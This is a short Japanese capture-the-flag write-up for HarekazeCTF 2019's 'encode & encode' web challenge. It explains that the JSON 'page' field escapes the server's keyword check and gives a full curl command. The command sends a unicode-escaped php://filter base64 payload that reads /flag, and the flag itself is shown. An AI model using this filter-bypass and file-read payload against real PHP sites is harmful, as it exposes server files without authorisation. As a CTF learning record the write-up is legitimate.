HarekazeCTF 2019 encode & encode

encode & encode(web 100pt)のwriteup

f:id:tikicn:20190519133311p:plain

flagは/flagにあるみたいです

{"page":"index.html"}{"page":"about.html"}→OK

{"page":"/flag"}is_valid($body)に引っかかり,invalid request.

{"page":"query.php"}$contentに"flag"が存在するので,is_valid($content)に引っかかり,not found.

$body$contentにはチェックが入るが,$json['page']には入らないことを利用しました.

php://filter/convert.base64-encode/resource=/flagunicodeエスケープすると,上手くいきました.

base64-encodeをしているのは,$contentの"HarekazeCTF"がreplaceされるためです.

curl "http://problem.harekaze.com:10001/query.php" -d '{"page":"\u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067"}'

Flag: HarekazeCTF{turutara_tattatta_ritta}

miscも実質web問だったし解きたかった...